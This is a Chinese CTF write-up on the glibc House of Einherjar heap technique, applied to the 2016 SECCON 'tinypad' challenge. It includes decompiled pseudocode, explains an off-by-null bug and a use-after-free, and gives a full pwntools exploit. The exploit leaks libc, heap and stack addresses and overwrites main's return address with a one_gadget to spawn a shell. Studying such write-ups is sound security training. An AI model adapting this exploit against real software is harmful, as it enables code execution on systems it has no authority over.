House of Einherjar 原理 释放堆块时,unlink后向合并堆块,强制使得 malloc 返回一个几乎任意地址的 chunk 。
free 函数中的后向合并核心操作如下
1 2 3 4 5 6 7 if (!prev_inuse (p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset (p, -((long ) prevsize)); unlink (av, p, bck, fwd); }
后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))
思路1:两个chunk通过后向unlink直接实现任意地址写 假设有两个连续的chunk,我们利用低地址的chunk将高地址 chunk 的 prev_size 写为目标地址与当前地址的差值,free后合并,再malloc,就可以申请到目标地址的chunk,实现任意地址写,但是需要在目的 chunk 附近构造相应的 fake chunk,fake_chunk的size字段,必须和chunk_b的pre_size字段一致,为二者之间的偏移量,从而绕过 unlink 的检测。
思路2:三个chunk通过后向unlink实现double free 1 2 3 4 chunk_0 0 xD0 # 堆块大小需要保证释放后不进入tcache bin和fastbin,即存在tcache需要先填满对应的tcache chunk_1 0 x18 # 堆块大小以8 结尾,保证off by null可以覆盖到下一个堆块的prev_inusechunk_2 0 xD0 # 堆块大小的最后一个字节必须为00 ,也就是上一个堆块覆盖prev_inuse后不会影响该堆块的大小chunk_3 0 x10 # 堆块大小任意,防止前面的堆块合并到Top chunk中
申请四个chunk,第四个chunk用来将前三个chunk与top chunk隔开(防止free前三个chunk后与top chunk合并),先free(chunk_0),利用off-by-null修改第2个chunk的mem,将第三个chunk的的prev_size修改为前两个chunk大小之和,然后free(chunk_2),将chunk_0,chunk_1,chunk_2合并,之后申请chunk_0大小和chunk_1大小的chunk,再free(chunk_1),free(chunk_5),实际chunk_1和chunk_5是同一个chunk,从而实现double free。
例题: 2016_seccon_tinypad
运行程序发现有四个功能:增删改退,分别用a,d,e,q进行操作,并且每次进行一次操作,程序会把每个chunk的内容输出出来,根据ida伪代码发现只能最多申请4个chunk
ida伪代码 主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v3; int choice; int v5; __int64 v6; size_t v7; int c; int i; int index; int v12; int v13; unsigned __int64 v14; v14 = __readfsqword(0x28 u); v12 = 0 ; write_n(&unk_4019F0, 1uLL ); write_n( " ============================================================================\n" "// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n" "|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n" "|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n" "|| _| _| _| _|_| _| _| _| _| _| _| ||\n" "\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n" " ============================================================================\n" , 563uLL ); write_n(&unk_4019F0, 1uLL ); do { for ( i = 0 ; i <= 3 ; ++i ) { LOBYTE(c) = i + 49 ; writeln("+------------------------------------------------------------------------------+\n" , 81LL ); write_n(" # INDEX: " , 12uLL ); writeln(&c, 1LL ); write_n(" # CONTENT: " , 12uLL ); if ( *&tinypad[16 * i + 264 ] ) { v3 = strlen (*&tinypad[16 * i + 264 ]); writeln(*&tinypad[16 * i + 264 ], v3); } writeln(&unk_4019F0, 1LL ); } index = 0 ; choice = getcmd(); v12 = choice; if ( choice == 68 ) { write_n("(INDEX)>>> " , 11uLL ); index = read_int(); if ( index <= 0 || index > 4 ) { LABEL_29: writeln("Invalid index" , 13LL ); continue ; } if ( !*&tinypad[16 * index + 240 ] ) { LABEL_31: writeln("Not used" , 8LL ); continue ; } free (*&tinypad[16 * index + 248 ]); *&tinypad[16 * index + 240 ] = 0LL ; writeln("\nDeleted." , 9LL ); } else if ( choice > 0x44 ) { if ( choice != 0x45 ) { if ( choice == 81 ) continue ; LABEL_41: writeln("No such a command" , 17LL ); continue ; } write_n("(INDEX)>>> " , 11uLL ); index = read_int(); if ( index <= 0 || index > 4 ) goto LABEL_29; if ( !*&tinypad[16 * index + 240 ] ) goto LABEL_31; c = 48 ; strcpy (tinypad, *&tinypad[16 * index + 248 ]); while ( toupper (c) != 89 ) { write_n("CONTENT: " , 9uLL ); v6 = strlen (tinypad); writeln(tinypad, v6); write_n("(CONTENT)>>> " , 13uLL ); v7 = strlen (*&tinypad[16 * index + 248 ]); read_until(tinypad, v7, 10u ); writeln("Is it OK?" , 9LL ); write_n("(Y/n)>>> " , 9uLL ); read_until(&c, 1uLL , 10u ); } strcpy (*&tinypad[16 * index + 248 ], tinypad); writeln("\nEdited." , 8LL ); } else { if ( choice != 65 ) goto LABEL_41; while ( index <= 3 && *&tinypad[16 * index + 256 ] ) ++index; if ( index == 4 ) { writeln("No space is left." , 17LL ); } else { v13 = -1 ; write_n("(SIZE)>>> " , 10uLL ); v13 = read_int(); if ( v13 <= 0 ) { v5 = 1 ; } else { v5 = v13; if ( v13 > 0x100 ) v5 = 256 ; } v13 = v5; *&tinypad[16 * index + 256 ] = v5; *&tinypad[16 * index + 264 ] = malloc (v13); if ( !*&tinypad[16 * index + 264 ] ) { writerrln("[!] No memory is available." , 27LL ); exit (-1 ); } write_n("(CONTENT)>>> " , 13uLL ); read_until(*&tinypad[16 * index + 264 ], v13, 10u ); writeln("\nAdded." , 7LL ); } } } while ( v12 != 81 ); return 0 ; }
add函数
1 2 *&tinypad[16 * index + 0x100] = v5; *&tinypad[16 * index + 264] = malloc(v13);
存在chunk全局数组,起始地址从0x602040+16*0+0x100=0x602140 开始依次存放chunk的size大小和头指针
edit函数 该edit函数调用的read_until函数存在off-by-null漏洞
free函数 free函数存在uaf漏洞
思路 首先泄露libc和heap地址
利用 house of einherjar 方法在 tinypad 的前0x100字节中伪造 chunk。当我们再次申请时,那么就可以控制4个 memo 的指针和内容了。
这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址,但是,由于当编辑时,程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0。不能覆盖malloc_hook
可以泄露出environ 的地址,通过gdb调试进而求得存储 main 函数的返回地址的地址,将main 函数的返回地址覆盖为one_gadget来获得shell
利用过程 先把前面的代码写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import* context(endian='little' ,os='linux' ,arch='amd64' ,log_level='debug' ) sh = process('./tinypad' ) libc = ELF ('//home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so' ) s = lambda data :sh .send(data) sa = lambda delim,data :sh .sendafter(delim, data) sl = lambda data :sh .sendline(data) sla = lambda delim,data :sh .sendlineafter(delim, data) r = lambda num=4096 :sh .recv(num) ru = lambda delims :sh .recvuntil(delims) itr = lambda :sh .interactive() uu32 = lambda data :u32 (data.ljust(4 ,'\0' )) uu64 = lambda data :u64 (data.ljust(8 ,'\0' )) leak = lambda name,addr :log .success('{} = {:#x}' .format(name, addr)) lg = lambda address,data :log .success('%s: ' %(address) +hex(data))def dbg (): gdb.attach(sh) pause()def add (size, content='a' ): sla('(CMD)>>> ' ,'a' ) sla('(SIZE)>>> ' ,str(size)) sla('(CONTENT)>>> ' ,content)def edit (idx, content ): sla('(CMD)>>> ' ,'e' ) sla('(INDEX)>>> ' ,str(idx)) sla('(CONTENT)>>> ' ,content) sla('Is it OK?\n' ,'Y' ) def free (idx ): sla('(CMD)>>> ' ,'d' ) sla('(INDEX)>>> ' ,str(idx))def exit (): sla('(CMD)>>> ' ,'Q' )
先申请四个chunk,free(3)和free(1),堆块大于0x7f,所以会进入unsorted bin里,chunk是从1开始计数的,此时chunk_1里存放的就是chunk_3的头指针和main_arena+88的地址,chunk_3的头指针前面有两个大小为(0x100+0x10)的chunk,减去(0x100+0x10)*2就是heap的基地址,之后计算出main_arena+88与libc基地址的距离(这个距离是固定的)0x7f19d3ef7b78−0x7f19d3b33000=0x3C4B78
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 add (0 x100) add (0 x100) add (0 x100) add (0 x100) free (3 ) free (1 ) ru ('INDEX: 1' ) ru ('CONTENT: ' ) heapbase = u64 (ru ('\n' )[:-1] .ljust (8 ,b'\x00' )) - (0 x100+0 x10)*2 ru ('INDEX: 3' ) ru ('CONTENT: ' ) libcbase = u64 (ru ('\n' )[:-1] .ljust (8 ,b'\x00' )) - 0 x3C4B78 environ = libc.sym ['environ' ] +libcbaselg ('heapbase' ,heapbase) lg ('libcbase' ,libcbase) dbg ()
在 tinypad 的前0x100字节中伪造 chunk。当我们再次申请时,那么就可以控制4个 memo 的指针和内容了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 add (0 x100) add (0 x100) #dbg () #四个chunk与top chunk合并free (4 ) free (1 ) free (2 ) free (3 ) #dbg ()#empty now add (0 x100,'a' *0 x100) edit (1 ,b'a' *0 x30+p64(0 ) +p64 (0 x41)+p64 (0 x602070)*2 +b'\x00' *0 x20+p64 (0 x40))#dbg ()free (1 ) add (0 x10) #1 add (0 xf0) #2 add (0 x10) #3 add (0 x100,'a' *0 x100) #4
之后free(1),再申请0x18大小的chunk_1,利用add函数里自定义的read函数的off-by-null,可以将chunk_2的pre_size改为chunk数组附近0x602070处,再次free(2),这样利用House of einherjar,可以将free的 chunk转移到0x602070(chunk_2的头指针)处,就可以0x602040(chunk_1的头指针)处形成我们提前构造好的chunk
1 2 3 4 5 6 7 8 #edit (1 ,b'a' *0 x30+p64 (0 )+p64 (0 x41)+p64 (0 x602070)*2 +b'\x00' *0 x20+p64 (0 x40))free (1 ) target = heapbase+0 x20-0 x602070add (0 x18,b'a' *0 x10+p64(target) ) #1 dbg ()
再free(2),编辑chunk_4就相当于在0x602040处的chunk开始编辑,将
1 2 3 4 5 free (2 ) edit (4 ,b'a' *0 x30+p64(0 ) +p64 (0 x101)+p64 (main_arena_88)*2 )dbg ()
再申请0xf0大小的chunk(实际大小为0x100),此时申请的chunk就在0x602070处,而该chunk的mem区域与chunk全局数组起始地址0x602140相差(0x602140-0x602070+0x10)=0xc0,用字符a填充,之后按照chunk size+头指针依次填充全局数组,将chunk_1改为environ地址,chunk2改为0x602148地址(也就是存放environ地址的地址)
1 2 3 4 5 6 7 8 9 10 11 add (0 xf0,b 'a' *0 xc0+p64(0 x100)+p64(environ)+p64(0 x100)+p64(0 x602148))ru ('INDEX: 1' )ru ('CONTENT: ' ) stack= u64(ru ('\n' )[:-1 ].ljust(8 ,b '\x00' )) target = -0 xF0 + stack lg ('stack' ,stack)lg ('target' ,target) #0 x7fc7dd85ff38 <environ> : 0 x00007ffc91b85d58 0 x0000000000000000 #1 e :00 f0│ 0 x7ffc91b85c68 —▸ 0 x7fc7dd4b9830 (__libc_start_main+240 ) ◂— mov edi, eax # 0 x7ffc91b85c68-0 x00007ffc91b85d58=-0 xF0 dbg()
泄露出来的chunk_1的内容就是栈地址 stack=0x00007ffc91b85d58,在查看栈区main函数返回地址0x7ffc91b85c68,0x7ffc91b85c68-0x00007ffc91b85d58=-0xF0,所以我们要覆盖的main函数返回地址为target = -0xF0 + stack 刚才我们把chunk_2的mem指向了chunk_1的mem指针,编辑chunk_2为target地址,把chunk_1的mem指针改为target地址,这时再次编辑chunk_1为one_gadget地址,就把target地址存放的main函数返回地址改为了exeve(“/bin/sh\x00”),再退出程序,获得shell
1 2 3 4 5 6 edit (2 ,p64(target) ) one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] shell = one_gadget[0] + libcbaseedit (1 ,p64(shell) )exit () itr ()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import* context(endian ='little' ,os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug sh = process('./tinypad' ) libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so' ) s = lambda data :sh.send(data) sa = lambda delim,data :sh.sendafter(delim, data) sl = lambda data :sh.sendline(data) sla = lambda delim,data :sh.sendlineafter(delim, data) r = lambda num =4096 :sh.recv(num) ru = lambda delims :sh.recvuntil(delims) itr = lambda :sh.interactive() uu32 = lambda data :u32(data.ljust(4,'\0' )) uu64 = lambda data :u64(data.ljust(8,'\0' )) leak = lambda name,addr :log .success('{} = {:#x}' .format(name, addr)) lg = lambda address,data :log .success('%s: ' %(address)+hex(data)) def dbg(): gdb.attach(sh) pause() def add (size, content ='a' ): sla('(CMD)>>> ' ,'a' ) sla('(SIZE)>>> ' ,str(size)) sla('(CONTENT)>>> ' ,content) def edit (idx, content): sla('(CMD)>>> ' ,'e' ) sla('(INDEX)>>> ' ,str(idx)) sla('(CONTENT)>>> ' ,content) sla('Is it OK?\n' ,'Y' ) def free(idx): sla('(CMD)>>> ' ,'d' ) sla('(INDEX)>>> ' ,str(idx)) def exit(): sla('(CMD)>>> ' ,'Q' ) add (0x100)add (0x100)add (0x100)add (0x100) free(3) free(1) ru('INDEX: 1' ) ru('CONTENT: ' ) heapbase = u64(ru('\n' )[:-1].ljust(8,b'\x00' )) -(0x100+0x10)*2 ru('INDEX: 3' ) ru('CONTENT: ' ) main_arena_88 = u64(ru('\n' )[:-1].ljust(8,b'\x00' )) libcbase = main_arena_88-0x3C4B78 environ = libc.sym['environ' ]+libcbase lg('heapbase' ,heapbase) lg('libcbase' ,libcbase)add (0x100)add (0x100) free(4) free(1) free(2) free(3)add (0x100,'a' *0 x100)edit (1,b'a' *0 x30+p64(0)+p64(0x41)+p64(0x602070)*2 +b'\x00' *0 x20+p64(0x40)) free(1)add (0x10) #1add (0xf0) #2add (0x10) #3add (0x100,'a' *0 x100) #4 free(1) target = heapbase+0x20-0x602070add (0x18,b'a' *0 x10+p64(target)) #1 free(2)edit (4,b'a' *0 x30+p64(0)+p64(0x101)+p64(main_arena_88)*2 )add (0xf0,b'a' *0 xc0+p64(0x100)+p64(environ)+p64(0x100)+p64(0x602148)) ru('INDEX: 1' ) ru('CONTENT: ' ) stack= u64(ru('\n' )[:-1].ljust(8,b'\x00' )) target = -0xF0 + stack lg('stack' ,stack) lg('target' ,target)edit (2,p64(target)) one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] shell = one_gadget[0] + libcbaseedit (1,p64(shell)) exit() itr()